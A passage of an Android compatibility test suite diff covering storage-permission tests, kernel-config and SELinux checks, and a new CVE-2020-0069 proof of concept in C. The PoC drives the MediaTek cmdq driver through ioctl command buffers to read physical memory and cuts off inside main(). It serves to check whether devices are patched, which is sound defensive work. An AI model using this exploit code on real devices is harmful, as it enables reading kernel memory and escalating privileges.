- allowAppOpsToUid(Process.myUid(), OPSTR_MANAGE_EXTERNAL_STORAGE);
-
assertThat(otherAppPdf.delete()).isTrue();
assertThat(otherAppPdf.exists()).isFalse();
@@ -1965,7 +2056,6 @@
assertThat(otherAppMusic.delete()).isTrue();
assertThat(otherAppMusic.exists()).isFalse();
} finally {
- denyAppOpsToUid(Process.myUid(), OPSTR_MANAGE_EXTERNAL_STORAGE);
deleteFileAsNoThrow(TEST_APP_A, otherAppPdf.getAbsolutePath());
deleteFileAsNoThrow(TEST_APP_A, otherAppImage.getAbsolutePath());
deleteFileAsNoThrow(TEST_APP_A, otherAppMusic.getAbsolutePath());
@@ -1979,6 +2069,8 @@
final File downloadDir = getDownloadDir();
final File otherAppPdf = new File(downloadDir, "other-" + NONMEDIA_FILE_NAME);
+ final File shellPdfAtRoot = new File(getExternalStorageDir(),
+ "shell-" + NONMEDIA_FILE_NAME);
final File otherAppImage = new File(getDcimDir(), "other-" + IMAGE_FILE_NAME);
final File myAppPdf = new File(downloadDir, "my-" + NONMEDIA_FILE_NAME);
final File doesntExistPdf = new File(downloadDir, "nada-" + NONMEDIA_FILE_NAME);
@@ -1993,14 +2085,23 @@
assertThat(myAppPdf.createNewFile()).isTrue();
assertFileAccess_readWrite(myAppPdf);
- // We can read the other app's image file because we hold R_E_S, but we can only
- // check exists for the pdf file.
+ // We can read the other app's image file because we hold R_E_S, but we can
+ // check only exists for the pdf files.
assertFileAccess_readOnly(otherAppImage);
assertFileAccess_existsOnly(otherAppPdf);
assertAccess(doesntExistPdf, false, false, false);
+
+ // We can check only exists for another app's files on root.
+ // Use shell to create root file because TEST_APP_A is in
+ // scoped storage.
+ executeShellCommand("touch " + shellPdfAtRoot.getAbsolutePath());
+ MediaStore.scanFile(getContentResolver(), shellPdfAtRoot);
+ assertFileAccess_existsOnly(shellPdfAtRoot);
} finally {
deleteFileAsNoThrow(TEST_APP_A, otherAppPdf.getAbsolutePath());
deleteFileAsNoThrow(TEST_APP_A, otherAppImage.getAbsolutePath());
+ executeShellCommand("rm " + shellPdfAtRoot.getAbsolutePath());
+ MediaStore.scanFile(getContentResolver(), shellPdfAtRoot);
myAppPdf.delete();
uninstallApp(TEST_APP_A);
}
@@ -2010,6 +2111,7 @@
public void testAccess_directory() throws Exception {
pollForPermission(Manifest.permission.READ_EXTERNAL_STORAGE, /*granted*/ true);
pollForPermission(Manifest.permission.WRITE_EXTERNAL_STORAGE, /*granted*/ true);
+ File topLevelDir = new File(getExternalStorageDir(), "Test");
try {
installApp(TEST_APP_A);
@@ -2024,34 +2126,42 @@
// We cannot read or write the file, but app A can.
assertThat(canReadAndWriteAs(TEST_APP_A,
otherAppExternalDataFile.getAbsolutePath())).isTrue();
- assertCannotAccessOtherAppFile(otherAppExternalDataFile);
+ assertCannotReadOrWrite(otherAppExternalDataFile);
// We cannot read or write the dir, but app A can.
assertThat(canReadAndWriteAs(TEST_APP_A,
otherAppExternalDataDir.getAbsolutePath())).isTrue();
- assertCannotAccessOtherAppFile(otherAppExternalDataDir);
+ assertCannotReadOrWrite(otherAppExternalDataDir);
// We cannot read or write the sub dir, but app A can.
assertThat(canReadAndWriteAs(TEST_APP_A,
otherAppExternalDataSubDir.getAbsolutePath())).isTrue();
- assertCannotAccessOtherAppFile(otherAppExternalDataSubDir);
+ assertCannotReadOrWrite(otherAppExternalDataSubDir);
// We can read and write our own app dir, but app A cannot.
assertThat(canReadAndWriteAs(TEST_APP_A,
getExternalFilesDir().getAbsolutePath())).isFalse();
assertCanAccessMyAppFile(getExternalFilesDir());
- assertDirectoryAccess(getDcimDir(), /* exists */ true);
- assertDirectoryAccess(getExternalStorageDir(), true);
- assertDirectoryAccess(new File(getExternalStorageDir(), "Android"), true);
- assertDirectoryAccess(new File(getExternalStorageDir(), "doesnt/exist"), false);
+ assertDirectoryAccess(getDcimDir(), /* exists */ true, /* canWrite */ true);
+ assertDirectoryAccess(getExternalStorageDir(),true, false);
+ assertDirectoryAccess(new File(getExternalStorageDir(), "Android"), true, false);
+ assertDirectoryAccess(new File(getExternalStorageDir(), "doesnt/exist"), false, false);
+
+ executeShellCommand("mkdir " + topLevelDir.getAbsolutePath());
+ assertDirectoryAccess(topLevelDir, true, false);
+
+ assertCannotReadOrWrite(new File("/storage/emulated"));
} finally {
uninstallApp(TEST_APP_A); // Uninstalling deletes external app dirs
+ executeShellCommand("rmdir " + topLevelDir.getAbsolutePath());
}
}
@Test
public void testManageExternalStorageCanRenameOtherAppsContents() throws Exception {
+ pollForManageExternalStorageAllowed();
+
final File otherAppPdf = new File(getDownloadDir(), "other" + NONMEDIA_FILE_NAME);
final File pdf = new File(getDownloadDir(), NONMEDIA_FILE_NAME);
final File pdfInObviouslyWrongPlace = new File(getPicturesDir(), NONMEDIA_FILE_NAME);
@@ -2064,7 +2174,6 @@
assertThat(createFileAs(TEST_APP_A, otherAppPdf.getPath())).isTrue();
assertThat(otherAppPdf.exists()).isTrue();
- allowAppOpsToUid(Process.myUid(), OPSTR_MANAGE_EXTERNAL_STORAGE);
// Write some data to the file
try (final FileOutputStream fos = new FileOutputStream(otherAppPdf)) {
@@ -2091,7 +2200,6 @@
pdfInObviouslyWrongPlace.delete();
topLevelPdf.delete();
musicFile.delete();
- denyAppOpsToUid(Process.myUid(), OPSTR_MANAGE_EXTERNAL_STORAGE);
deleteFileAsNoThrow(TEST_APP_A, otherAppPdf.getAbsolutePath());
uninstallApp(TEST_APP_A);
}
@@ -2114,6 +2222,8 @@
@Test
public void testManageExternalStorageReaddir() throws Exception {
+ pollForManageExternalStorageAllowed();
+
final File otherAppPdf = new File(getDownloadDir(), "other" + NONMEDIA_FILE_NAME);
final File otherAppImg = new File(getDcimDir(), "other" + IMAGE_FILE_NAME);
final File otherAppMusic = new File(getMusicDir(), "other" + AUDIO_FILE_NAME);
@@ -2123,8 +2233,7 @@
installApp(TEST_APP_A);
assertCreateFilesAs(TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf);
executeShellCommand("touch " + otherTopLevelFile);
-
- allowAppOpsToUid(Process.myUid(), OPSTR_MANAGE_EXTERNAL_STORAGE);
+ MediaStore.scanFile(getContentResolver(), otherTopLevelFile);
// We can list other apps' files
assertDirectoryContains(otherAppPdf.getParentFile(), otherAppPdf);
@@ -2136,8 +2245,8 @@
// We can also list all top level directories
assertDirectoryContains(getExternalStorageDir(), getDefaultTopLevelDirs());
} finally {
- denyAppOpsToUid(Process.myUid(), OPSTR_MANAGE_EXTERNAL_STORAGE);
executeShellCommand("rm " + otherTopLevelFile);
+ MediaStore.scanFile(getContentResolver(), otherTopLevelFile);
deleteFilesAs(TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf);
uninstallApp(TEST_APP_A);
}
@@ -2145,6 +2254,8 @@
@Test
public void testManageExternalStorageQueryOtherAppsFile() throws Exception {
+ pollForManageExternalStorageAllowed();
+
final File otherAppPdf = new File(getDownloadDir(), "other" + NONMEDIA_FILE_NAME);
final File otherAppImg = new File(getDcimDir(), "other" + IMAGE_FILE_NAME);
final File otherAppMusic = new File(getMusicDir(), "other" + AUDIO_FILE_NAME);
@@ -2155,16 +2266,11 @@
assertCreatePublishedFilesAs(
TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf, otherHiddenFile);
- // Once the test has permission to manage external storage, it can query for other
- // apps' files and open them for read and write
- allowAppOpsToUid(Process.myUid(), OPSTR_MANAGE_EXTERNAL_STORAGE);
-
assertCanQueryAndOpenFile(otherAppPdf, "rw");
assertCanQueryAndOpenFile(otherAppImg, "rw");
assertCanQueryAndOpenFile(otherAppMusic, "rw");
assertCanQueryAndOpenFile(otherHiddenFile, "rw");
} finally {
- denyAppOpsToUid(Process.myUid(), OPSTR_MANAGE_EXTERNAL_STORAGE);
deleteFilesAs(TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf, otherHiddenFile);
uninstallApp(TEST_APP_A);
}
@@ -2242,6 +2348,7 @@
assertThat(dirInDcim.exists() || dirInDcim.mkdir()).isTrue();
executeShellCommand("touch " + otherAppPdfFile1);
+ MediaStore.scanFile(getContentResolver(), otherAppPdfFile1);
installAppWithStoragePermissions(TEST_APP_A);
allowAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
@@ -2260,6 +2367,8 @@
} finally {
executeShellCommand("rm " + otherAppPdfFile1);
executeShellCommand("rm " + otherAppPdfFile2);
+ MediaStore.scanFile(getContentResolver(), otherAppPdfFile1);
+ MediaStore.scanFile(getContentResolver(), otherAppPdfFile2);
otherAppImageFile1.delete();
otherAppImageFile2.delete();
otherAppVideoFile1.delete();
@@ -2376,6 +2485,47 @@
}
}
+ @Test
+ public void testWallpaperApisNoPermission() throws Exception {
+ WallpaperManager wallpaperManager = WallpaperManager.getInstance(getContext());
+ assertThrows(SecurityException.class, () -> wallpaperManager.getFastDrawable());
+ assertThrows(SecurityException.class, () -> wallpaperManager.peekFastDrawable());
+ assertThrows(SecurityException.class,
+ () -> wallpaperManager.getWallpaperFile(WallpaperManager.FLAG_SYSTEM));
+ }
+
+ @Test
+ public void testWallpaperApisReadExternalStorage() throws Exception {
+ pollForPermission(Manifest.permission.READ_EXTERNAL_STORAGE, /*granted*/ true);
+ WallpaperManager wallpaperManager = WallpaperManager.getInstance(getContext());
+ wallpaperManager.getFastDrawable();
+ wallpaperManager.peekFastDrawable();
+ wallpaperManager.getWallpaperFile(WallpaperManager.FLAG_SYSTEM);
+ }
+
+ @Test
+ public void testWallpaperApisManageExternalStorageAppOp() throws Exception {
+ pollForManageExternalStorageAllowed();
+
+ WallpaperManager wallpaperManager = WallpaperManager.getInstance(getContext());
+ wallpaperManager.getFastDrawable();
+ wallpaperManager.peekFastDrawable();
+ wallpaperManager.getWallpaperFile(WallpaperManager.FLAG_SYSTEM);
+ }
+
+ @Test
+ public void testWallpaperApisManageExternalStoragePrivileged() throws Exception {
+ adoptShellPermissionIdentity(Manifest.permission.MANAGE_EXTERNAL_STORAGE);
+ try {
+ WallpaperManager wallpaperManager = WallpaperManager.getInstance(getContext());
+ wallpaperManager.getFastDrawable();
+ wallpaperManager.peekFastDrawable();
+ wallpaperManager.getWallpaperFile(WallpaperManager.FLAG_SYSTEM);
+ } finally {
+ dropShellPermissionIdentity();
+ }
+ }
+
/**
* Verifies that files created by {@code otherApp} in shared locations {@code imageDir}
* and {@code documentDir} follow the scoped storage rules. Requires the running app to hold
@@ -2408,6 +2558,7 @@
@Test
public void testPendingFromFuse() throws Exception {
final File pendingFile = new File(getDcimDir(), IMAGE_FILE_NAME);
+ final File otherPendingFile = new File(getDcimDir(), VIDEO_FILE_NAME);
try {
assertTrue(pendingFile.createNewFile());
// Newly created file should have IS_PENDING set
@@ -2416,6 +2567,13 @@
assertThat(c.getInt(0)).isEqualTo(1);
}
+ // If we query with MATCH_EXCLUDE, we should still see this pendingFile
+ try (Cursor c = queryFileExcludingPending(pendingFile, MediaColumns.IS_PENDING)) {
+ assertThat(c.getCount()).isEqualTo(1);
+ assertTrue(c.moveToFirst());
+ assertThat(c.getInt(0)).isEqualTo(1);
+ }
+
assertNotNull(MediaStore.scanFile(getContentResolver(), pendingFile));
// IS_PENDING should be unset after the scan
@@ -2423,8 +2581,168 @@
assertTrue(c.moveToFirst());
assertThat(c.getInt(0)).isEqualTo(0);
}
+
+ installAppWithStoragePermissions(TEST_APP_A);
+ assertCreateFilesAs(TEST_APP_A, otherPendingFile);
+ // We can't query other apps pending file from FUSE with MATCH_EXCLUDE
+ try (Cursor c = queryFileExcludingPending(otherPendingFile, MediaColumns.IS_PENDING)) {
+ assertThat(c.getCount()).isEqualTo(0);
+ }
} finally {
pendingFile.delete();
+ deleteFileAsNoThrow(TEST_APP_A, otherPendingFile.getAbsolutePath());
+ uninstallAppNoThrow(TEST_APP_A);
+ }
+ }
+
+ @Test
+ public void testOpenOtherPendingFilesFromFuse() throws Exception {
+ final File otherPendingFile = new File(getDcimDir(), IMAGE_FILE_NAME);
+ try {
+ installApp(TEST_APP_A);
+ assertCreateFilesAs(TEST_APP_A, otherPendingFile);
+
+ // We can read other app's pending file from FUSE via filePath
+ assertCanQueryAndOpenFile(otherPendingFile, "r");
+
+ // We can also read other app's pending file via MediaStore API
+ assertNotNull(openWithMediaProvider(otherPendingFile, "r"));
+ } finally {
+ deleteFileAsNoThrow(TEST_APP_A, otherPendingFile.getAbsolutePath());
+ uninstallAppNoThrow(TEST_APP_A);
+ }
+ }
+
+ @Test
+ public void testNoIsolatedStorageCanCreateFilesAnywhere() throws Exception {
+ final File topLevelPdf = new File(getExternalStorageDir(), NONMEDIA_FILE_NAME);
+ final File musicFileInMovies = new File(getMoviesDir(), AUDIO_FILE_NAME);
+ final File imageFileInDcim = new File(getDcimDir(), IMAGE_FILE_NAME);
+ // Nothing special about this, anyone can create an image file in DCIM
+ assertCanCreateFile(imageFileInDcim);
+ // This is where we see the special powers of MANAGE_EXTERNAL_STORAGE, because it can
+ // create a top level file
+ assertCanCreateFile(topLevelPdf);
+ // It can even create a music file in Pictures
+ assertCanCreateFile(musicFileInMovies);
+ }
+
+ @Test
+ public void testNoIsolatedStorageCantReadWriteOtherAppExternalDir() throws Exception {
+ try {
+ // Install TEST_APP_A with READ_EXTERNAL_STORAGE permission.
+ installAppWithStoragePermissions(TEST_APP_A);
+
+ // Let app A create a file in its data dir
+ final File otherAppExternalDataDir = new File(getExternalFilesDir().getPath().replace(
+ THIS_PACKAGE_NAME, TEST_APP_A.getPackageName()));
+ final File otherAppExternalDataFile = new File(otherAppExternalDataDir,
+ NONMEDIA_FILE_NAME);
+ assertCreateFilesAs(TEST_APP_A, otherAppExternalDataFile);
+
+ // File Manager app gets global access with MANAGE_EXTERNAL_STORAGE permission, however,
+ // file manager app doesn't have access to other app's external files directory
+ assertThat(canOpen(otherAppExternalDataFile, /* forWrite */ false)).isFalse();
+ assertThat(canOpen(otherAppExternalDataFile, /* forWrite */ true)).isFalse();
+ assertThat(otherAppExternalDataFile.delete()).isFalse();
+
+ assertThat(deleteFileAs(TEST_APP_A, otherAppExternalDataFile.getPath())).isTrue();
+
+ assertThrows(IOException.class,
+ () -> { otherAppExternalDataFile.createNewFile(); });
+
+ } finally {
+ uninstallApp(TEST_APP_A); // Uninstalling deletes external app dirs
+ }
+ }
+
+ @Test
+ public void testNoIsolatedStorageStorageReaddir() throws Exception {
+ final File otherAppPdf = new File(getDownloadDir(), "other" + NONMEDIA_FILE_NAME);
+ final File otherAppImg = new File(getDcimDir(), "other" + IMAGE_FILE_NAME);
+ final File otherAppMusic = new File(getMusicDir(), "other" + AUDIO_FILE_NAME);
+ final File otherTopLevelFile = new File(getExternalStorageDir(),
+ "other" + NONMEDIA_FILE_NAME);
+ try {
+ installApp(TEST_APP_A);
+ assertCreateFilesAs(TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf);
+ executeShellCommand("touch " + otherTopLevelFile);
+
+ // We can list other apps' files
+ assertDirectoryContains(otherAppPdf.getParentFile(), otherAppPdf);
+ assertDirectoryContains(otherAppImg.getParentFile(), otherAppImg);
+ assertDirectoryContains(otherAppMusic.getParentFile(), otherAppMusic);
+ // We can list top level files
+ assertDirectoryContains(getExternalStorageDir(), otherTopLevelFile);
+
+ // We can also list all top level directories
+ assertDirectoryContains(getExternalStorageDir(), getDefaultTopLevelDirs());
+ } finally {
+ executeShellCommand("rm " + otherTopLevelFile);
+ deleteFilesAs(TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf);
+ uninstallApp(TEST_APP_A);
+ }
+ }
+
+ @Test
+ public void testNoIsolatedStorageQueryOtherAppsFile() throws Exception {
+ final File otherAppPdf = new File(getDownloadDir(), "other" + NONMEDIA_FILE_NAME);
+ final File otherAppImg = new File(getDcimDir(), "other" + IMAGE_FILE_NAME);
+ final File otherAppMusic = new File(getMusicDir(), "other" + AUDIO_FILE_NAME);
+ final File otherHiddenFile = new File(getPicturesDir(), ".otherHiddenFile.jpg");
+ try {
+ installApp(TEST_APP_A);
+ // Apps can't query other app's pending file, hence create file and publish it.
+ assertCreatePublishedFilesAs(
+ TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf, otherHiddenFile);
+
+ assertCanQueryAndOpenFile(otherAppPdf, "rw");
+ assertCanQueryAndOpenFile(otherAppImg, "rw");
+ assertCanQueryAndOpenFile(otherAppMusic, "rw");
+ assertCanQueryAndOpenFile(otherHiddenFile, "rw");
+ } finally {
+ deleteFilesAs(TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf, otherHiddenFile);
+ uninstallApp(TEST_APP_A);
+ }
+ }
+
+ @Test
+ public void testRenameFromShell() throws Exception {
+ final File imageFile = new File(getPicturesDir(), IMAGE_FILE_NAME);
+ final File dir = new File(getMoviesDir(), TEST_DIRECTORY_NAME);
+ final File renamedDir = new File(getMusicDir(), TEST_DIRECTORY_NAME);
+ final File renamedImageFile = new File(dir, IMAGE_FILE_NAME);
+ final File imageFileInRenamedDir = new File(renamedDir, IMAGE_FILE_NAME);
+ try {
+ assertTrue(imageFile.createNewFile());
+ assertThat(getFileRowIdFromDatabase(imageFile)).isNotEqualTo(-1);
+ if (!dir.exists()) {
+ assertThat(dir.mkdir()).isTrue();
+ }
+
+ final String renameFileCommand = String.format("mv %s %s",
+ imageFile.getAbsolutePath(), renamedImageFile.getAbsolutePath());
+ executeShellCommand(renameFileCommand);
+ assertFalse(imageFile.exists());
+ assertThat(getFileRowIdFromDatabase(imageFile)).isEqualTo(-1);
+ assertTrue(renamedImageFile.exists());
+ assertThat(getFileRowIdFromDatabase(renamedImageFile)).isNotEqualTo(-1);
+
+ final String renameDirectoryCommand = String.format("mv %s %s",
+ dir.getAbsolutePath(), renamedDir.getAbsolutePath());
+ executeShellCommand(renameDirectoryCommand);
+ assertFalse(dir.exists());
+ assertFalse(renamedImageFile.exists());
+ assertThat(getFileRowIdFromDatabase(renamedImageFile)).isEqualTo(-1);
+ assertTrue(renamedDir.exists());
+ assertTrue(imageFileInRenamedDir.exists());
+ assertThat(getFileRowIdFromDatabase(imageFileInRenamedDir)).isNotEqualTo(-1);
+ } finally {
+ imageFile.delete();
+ renamedImageFile.delete();
+ imageFileInRenamedDir.delete();
+ dir.delete();
+ renamedDir.delete();
}
}
@@ -2733,13 +3051,14 @@
assertAccess(file, true, true, true);
}
- private static void assertDirectoryAccess(File dir, boolean exists) throws Exception {
+ private static void assertDirectoryAccess(File dir, boolean exists, boolean canWrite)
+ throws Exception {
// This util does not handle app data directories.
assumeFalse(dir.getAbsolutePath().startsWith(getAndroidDir().getAbsolutePath())
&& !dir.equals(getAndroidDir()));
assertThat(dir.isDirectory()).isEqualTo(exists);
- // For non-app data directories, exists => canRead() and canWrite().
- assertAccess(dir, exists, exists, exists);
+ // For non-app data directories, exists => canRead().
+ assertAccess(dir, exists, exists, exists && canWrite);
}
private static void assertAccess(File file, boolean exists, boolean canRead, boolean canWrite)
@@ -2747,7 +3066,7 @@
assertAccess(file, exists, canRead, canWrite, true /* checkExists */);
}
- private static void assertCannotAccessOtherAppFile(File file)
+ private static void assertCannotReadOrWrite(File file)
throws Exception {
// App data directories have different 'x' bits on upgrading vs new devices. Let's not
// check 'exists', by passing checkExists=false. But assert this app cannot read or write
diff --git a/hostsidetests/security/src/android/security/cts/KernelConfigTest.java b/hostsidetests/security/src/android/security/cts/KernelConfigTest.java
index f45d9a5..55837e4 100644
--- a/hostsidetests/security/src/android/security/cts/KernelConfigTest.java
+++ b/hostsidetests/security/src/android/security/cts/KernelConfigTest.java
@@ -218,6 +218,7 @@
put("Kirin970", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
put("Kirin810", null);
put("Kirin710", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
+ put("SDMMAGPIE", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
put("SM6150", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
put("SM7150", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
put("LITO", null);
@@ -227,6 +228,7 @@
put("SDM429", null);
put("SDM439", null);
put("QM215", null);
+ put("BENGAL", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
put("DEFAULT", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y",
"CONFIG_UNMAP_KERNEL_AT_EL0=y"});
}};
@@ -281,6 +283,7 @@
final Set<String> ALLOWED_PATH_PREFIXES = new HashSet<String>();
ALLOWED_PATH_PREFIXES.add("/vendor/");
ALLOWED_PATH_PREFIXES.add("/system/");
+ ALLOWED_PATH_PREFIXES.add("/system_ext/");
assertTrue("Linux kernel must enable static usermodehelper: " + ENABLE_CONFIG,
configSet.contains(ENABLE_CONFIG));
diff --git a/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java b/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java
index 6b7dd04..de90629 100644
--- a/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java
+++ b/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java
@@ -1258,10 +1258,11 @@
assertDomainZeroOrOne("u:r:wpa:s0", "/system/bin/wpa_supplicant");
}
- /* permissioncontroller may or may not be running */
+ /* permissioncontroller, if running, always runs in permissioncontroller_app */
@CddTest(requirement="9.7")
public void testPermissionControllerDomain() throws DeviceNotAvailableException {
- assertDomainZeroOrOne("u:r:permissioncontroller_app:s0", "com.google.android.permissioncontroller");
+ assertExecutableHasDomain("com.google.android.permissioncontroller", "u:r:permissioncontroller_app:s0");
+ assertExecutableHasDomain("com.android.permissioncontroller", "u:r:permissioncontroller_app:s0");
}
/* vzwomatrigger may or may not be running */
diff --git a/hostsidetests/securitybulletin/Android.bp b/hostsidetests/securitybulletin/Android.bp
index 6a574c9..f17395e 100644
--- a/hostsidetests/securitybulletin/Android.bp
+++ b/hostsidetests/securitybulletin/Android.bp
@@ -53,4 +53,8 @@
"vts10",
"sts",
],
+ cflags: [
+ "-Wall",
+ "-Werror",
+ ],
}
diff --git a/hostsidetests/securitybulletin/AndroidTest.xml b/hostsidetests/securitybulletin/AndroidTest.xml
index 2cc289a..8140dab 100644
--- a/hostsidetests/securitybulletin/AndroidTest.xml
+++ b/hostsidetests/securitybulletin/AndroidTest.xml
@@ -196,6 +196,11 @@
<option name="push" value="Bug-115739809->/data/local/tmp/Bug-115739809" />
<option name="push" value="CVE-2019-2025->/data/local/tmp/CVE-2019-2025" />
+ <!--__________________-->
+ <!-- Bulletin 2020-03 -->
+ <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+ <option name="push" value="CVE-2020-0069->/data/local/tmp/CVE-2020-0069" />
+
<option name="append-bitness" value="true" />
</target_preparer>
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0069/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0069/Android.bp
new file mode 100644
index 0000000..8ce25c1
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0069/Android.bp
@@ -0,0 +1,23 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+cc_test {
+ name: "CVE-2020-0069",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: ["poc.c"],
+ cflags: [
+ "-Wall",
+ "-Werror",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0069/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0069/poc.c
new file mode 100644
index 0000000..3644490
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0069/poc.c
@@ -0,0 +1,275 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <ctype.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <stdbool.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/ioctl.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <unistd.h>
+
+#include "../includes/common.h"
+
+static char *device_names[] = {"/dev/mtk_cmdq", "/proc/mtk_cmdq",
+ "/dev/mtk_mdp"};
+
+#define CMDQ_IOCTL_ALLOC_WRITE_ADDRESS 0x40087807
+#define CMDQ_IOCTL_FREE_WRITE_ADDRESS 0x40087808
+// This is "most" of the IOCTL code, though the size field is left out as it
+// will be ORed in later when the specific value for this device has been
+// identified.
+#define CMDQ_IOCTL_EXEC_COMMAND 0x40007803
+
+struct cmdqWriteAddressStruct {
+ uint32_t count;
+ uint32_t address;
+};
+
+struct cmdqReadRegStruct {
+ uint32_t count;
+ uint64_t addresses;
+};
+
+struct cmdqRegValueStruct {
+ uint32_t count;
+ uint64_t values;
+};
+
+struct cmdqReadAddressStruct {
+ uint32_t count;
+ uint64_t addresses;
+ uint64_t values;
+};
+
+struct cmdqCommandStruct {
+ uint32_t value1;
+ uint32_t value2;
+ uint64_t value3;
+ uint64_t buffer;
+ uint32_t buffer_size;
+ struct cmdqReadRegStruct reg_request;
+ struct cmdqRegValueStruct reg_value;
+ struct cmdqReadAddressStruct read_address;
+ uint8_t padding[0x2f0 - 0x58];
+};
+
+typedef enum {
+ OperationSuccess,
+ OperationFailed,
+ OperationError,
+} OperationResult;
+
+#define SET_VALUE(x) \
+ instructions[command.buffer_size / 8] = (x); \
+ command.buffer_size += 8;
+
+// This function identifies what the IOCTL command code should be
+// for EXEC_COMMAND, given that it varies depending on the structure size.
+OperationResult work_out_ioctl_code(int fd, int *ioctl_code) {
+ uint64_t instructions[0x100];
+ struct cmdqCommandStruct command;
+
+ memset(instructions, 0, sizeof(instructions));
+ memset(&command, 0, sizeof(command));
+
+ command.buffer = (uint64_t)&instructions;
+
+ // CMDQ_CODE_WFE
+ SET_VALUE(0x2000000080010000);
+ // CMDQ_CODE_EOC
+ SET_VALUE(0x4000000000000001);
+ // CMDQ_CODE_JUMP - argA is 0 and argB is 8, this is ok.
+ SET_VALUE(0x1000000000000008);
+
+ for (int ii = 0xa8; ii <= 0x2f0; ii += 8) {
+ int ioctl_result =
+ ioctl(fd, CMDQ_IOCTL_EXEC_COMMAND | (ii << 16), &command);
+
+ if ((-1 != ioctl_result) || (errno != ENOTTY)) {
+ *ioctl_code = CMDQ_IOCTL_EXEC_COMMAND | (ii << 16);
+ return OperationSuccess;
+ }
+ }
+
+ // Unable to identify the particular IOCTL code for this device.
+ return OperationError;
+}
+
+OperationResult perform_pa_read(int fd, int ioctl_code, uint32_t kernel_buffer,
+ uint64_t address, unsigned char *buffer,
+ size_t size) {
+ OperationResult result = OperationError;
+ uint64_t *instructions = NULL;
+ uint32_t *addresses = NULL;
+ struct cmdqCommandStruct command;
+ size_t num_words = size / 4;
+
+ if (size % 4) {
+ goto exit;
+ }
+
+ // Each command is 8 bytes, we require 5 commands for every 32 bits we try to
+ // read, plus another 4 for prologue/epilogue.
+ instructions = malloc((num_words * 5 + 4) * sizeof(uint64_t));
+ if (!instructions) {
+ goto exit;
+ }
+ // Another buffer to tell the driver where to read back from.
+ addresses = malloc(sizeof(uint32_t) * num_words);
+ if (!addresses) {
+ goto exit;
+ }
+ memset(&command, 0, sizeof(command));
+ command.buffer = (uint64_t)instructions;
+ command.read_address.count = size;
+ command.read_address.addresses = (uint64_t)addresses;
+ command.read_address.values = (uint64_t)buffer;
+
+ // CMDQ_CODE_WFE
+ SET_VALUE(0x2000000080010000);
+
+ for (size_t ii = 0; ii < num_words; ii++) {
+ addresses[ii] = kernel_buffer + (sizeof(uint32_t) * ii);
+
+ // CMDQ_CODE_MOVE - put DMA address into register
+ SET_VALUE(0x0297000000000000 | addresses[ii]);
+ // CMDQ_CODE_WRITE - write PA into DMA address
+ SET_VALUE(0x0497000000000000 | (address + sizeof(uint32_t) * ii));
+ // CMDQ_CODE_READ - read PA into register from DMA address
+ SET_VALUE(0x01d7000000000005);
+ // CMDQ_CODE_READ - read from PA into register
+ SET_VALUE(0x01c5000000000005);
+ // CMDQ_CODE_WRITE - write value into DMA address
+ SET_VALUE(0x04d7000000000005);
+ }
+
+ // CMDQ_CODE_WFE
+ SET_VALUE(0x2000000080010000);
+ // CMDQ_CODE_EOC
+ SET_VALUE(0x4000000000000001);
+ // CMDQ_CODE_JUMP - argA is 0 and argB is 8, this is ok.
+ SET_VALUE(0x1000000000000008);
+
+ switch (ioctl(fd, ioctl_code, &command)) {
+ case -1:
+ if (errno == EFAULT) {
+ // Command buffer rejected, the driver is patched.
+ result = OperationFailed;
+ }
+ // Something is wrong with the command buffer. This may be a device
+ // type that has not been encountered during testing.
+ break;
+ case 0:
+ // Driver accepted the command buffer and did something with it.
+ result = OperationSuccess;
+ break;
+ }
+
+exit:
+ if (addresses) {
+ free(addresses);
+ }
+ if (instructions) {
+ free(instructions);
+ }
+ return result;
+}
+
+int main() {
+ int exit_code = EXIT_FAILURE;
+ int fd = -1;
+ unsigned char buffer[0x1000];
+ size_t read_size = 0x100;
